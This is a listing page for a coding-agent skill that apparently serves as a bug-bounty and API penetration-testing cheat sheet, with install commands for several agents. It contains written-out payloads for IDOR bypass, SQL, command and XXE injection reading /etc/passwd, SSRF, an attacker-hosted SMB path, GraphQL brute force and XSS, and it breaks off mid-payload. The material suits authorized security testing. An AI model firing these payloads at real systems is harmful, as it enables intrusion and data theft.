academic-paper-reviewe…
Simulates academic peer review, evaluating papers across Originality, Methodology, Results, and Writing to provide Major/Minor…
This skill should be used when the user asks to "test API security", "fuzz APIs", "find IDOR vulnerabilities", "test REST API", "test GraphQL", "API penetration testing", "bug bounty API testing", or needs guidance on API security assessment techniques.
Claude Code
$ npx -y skills add zebbern/claude-code-guide --skill api-fuzzing-bug-bounty --agent claude-code
Codex
$ npx skills add zebbern/claude-code-guide --skill api-fuzzing-bug-bounty -a codex -y
Cursor
$ npx skills add zebbern/claude-code-guide --skill api-fuzzing-bug-bounty -a cursor -y
Gemini CLI
$ npx skills add zebbern/claude-code-guide --skill api-fuzzing-bug-bounty -a gemini-cli -y
GitHub Copilot
$ npx skills add zebbern/claude-code-guide --skill api-fuzzing-bug-bounty -a github-copilot -y
OpenCode
$ npx skills add zebbern/claude-code-guide --skill api-fuzzing-bug-bounty -a opencode -y
Windsurf
$ npx skills add zebbern/claude-code-guide --skill api-fuzzing-bug-bounty -a windsurf -y
name: api-fuzzing-bug-bounty description: This skill should be used when the user asks to "test API security", "fuzz APIs", "find IDOR vulnerabilities", "test REST API", "test GraphQL", "API penetration testing", "bug bounty API testing", or needs guidance on API security assessment techniques. metadata: author: zebbern version: "1.1"
Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.
---
| Type | Protocol | Data Format | Structure | |------|----------|-------------|-----------| | SOAP | HTTP | XML | Header + Body | | REST | HTTP | JSON/XML/URL | Defined endpoints | | GraphQL | HTTP | Custom Query | Single endpoint |
---
Identify API type and enumerate endpoints:
# Check for Swagger/OpenAPI documentation /swagger.json /openapi.json /api-docs /v1/api-docs /swagger-ui.html # Use Kiterunner for API discovery kr scan https://target.com -w routes-large.kite # Extract paths from Swagger python3 json2paths.py swagger.json
# Test different login paths /api/mobile/login /api/v3/login /api/magic_link /api/admin/login # Check rate limiting on auth endpoints # If no rate limit → brute force possible # Test mobile vs web API separately # Don't assume same security controls
Insecure Direct Object Reference is the most common API vulnerability:
# Basic IDOR GET /api/users/1234 → GET /api/users/1235 # Even if ID is email-based, try numeric /?user_id=111 instead of /?user_id=user@mail.com # Test /me/orders vs /user/654321/orders
**IDOR Bypass Techniques:**
# Wrap ID in array
{"id":111} → {"id":[111]}
# JSON wrap
{"id":111} → {"id":{"id":111}}
# Send ID twice
URL?id=<LEGIT>&id=<VICTIM>
# Wildcard injection
{"user_id":"*"}
# Parameter pollution
/api/get_profile?user_id=<victim>&user_id=<legit>
{"user_id":<legit_id>,"user_id":<victim_id>}**SQL Injection in JSON:**
{"id":"56456"} → OK
{"id":"56456 AND 1=1#"} → OK
{"id":"56456 AND 1=2#"} → OK
{"id":"56456 AND 1=3#"} → ERROR (vulnerable!)
{"id":"56456 AND sleep(15)#"} → SLEEP 15 SEC**Command Injection:**
# Ruby on Rails ?url=Kernel#open → ?url=|ls # Linux command injection api.url.com/endpoint?name=file.txt;ls%20/
**XXE Injection:**
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
**SSRF via API:**
<object data="http://127.0.0.1:8443"/> <img src="http://127.0.0.1:445"/>
**.NET Path.Combine Vulnerability:**
# If .NET app uses Path.Combine(path_1, path_2) # Test for path traversal https://example.org/download?filename=a.png https://example.org/download?filename=C:\inetpub\wwwroot\web.config https://example.org/download?filename=\\smb.dns.attacker.com\a.png
# Test all HTTP methods GET /api/v1/users/1 POST /api/v1/users/1 PUT /api/v1/users/1 DELETE /api/v1/users/1 PATCH /api/v1/users/1 # Switch content type Content-Type: application/json → application/xml
---
Fetch entire backend schema:
{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}**URL-encoded version:**
/graphql?query={__schema{types{name,kind,description,fields{name}}}}# Try accessing other user IDs
query {
user(id: "OTHER_USER_ID") {
email
password
creditCard
}
}mutation {
login(input: {
email: "test' or 1=1--"
password: "password"
}) {
success
jwt
}
}mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"c@example.com" password:"password"}){success jwt}}query {
posts {
comments {
user {
posts {
comments {
user {
posts { ... }
}
}
}
}
}
}
}# XSS via GraphQL endpoint
http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}
# URL-encoded XSS
http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E| Tool | Purpose | |------|---------| | GraphCrawler | Schema discovery | | graphw00f | Fingerprinting | | clairvoyance | Schema reconstruction | | InQL | Burp extension | | GraphQLmap | Exploitation |
---
When receiving 403/401, try these bypasses:
# Original blocked request /api/v1/users/sensitivedata → 403 # Bypass attempts /api/v1/users/sensitivedata.json /api/v1/users/sensitivedata? /api/v1/users/sensitivedata/ /api/v1/users/sensitivedata?? /api/v1/users/sensitivedata%20 /api/v1/users/sensitivedata%09 /api/v1/users/sensitivedata# /api/v1/users/sensitivedata&details /api/v1/users/..;/sensitivedata
---
<!-- LFI via PDF export --> <iframe src="f
Claude Code Guide - Setup, Commands, workflows, agents, skills & tips-n-tricks from beginner to power user!
Simulates academic peer review, evaluating papers across Originality, Methodology, Results, and Writing to provide Major/Minor…
This skill should be used when the user asks to "attack Active Directory", "exploit AD", "Kerberoasting", "DCSync",…
Generate multiple radically different interface designs for a module using parallel sub-agents. Use when user wants to design an…
Interactive system flow tracing across CODE, API, AUTH, DATA, NETWORK layers with SQLite persistence and Mermaid export. Use for…
Authentication patterns: session vs JWT vs OAuth comparison, provider selection (NextAuth, Clerk, Supabase Auth), security…
This skill should be used when the user asks to "pentest AWS", "test AWS security", "enumerate IAM", "exploit cloud…
How to work in a Codebase Wiki project (the `codebase-wiki` starter pack): an agent-authored, source-grounded wiki of the…
Push architecture docs to oh-my-mermaid cloud. Handles login, link, and push workflow with error guidance. Use when the user says…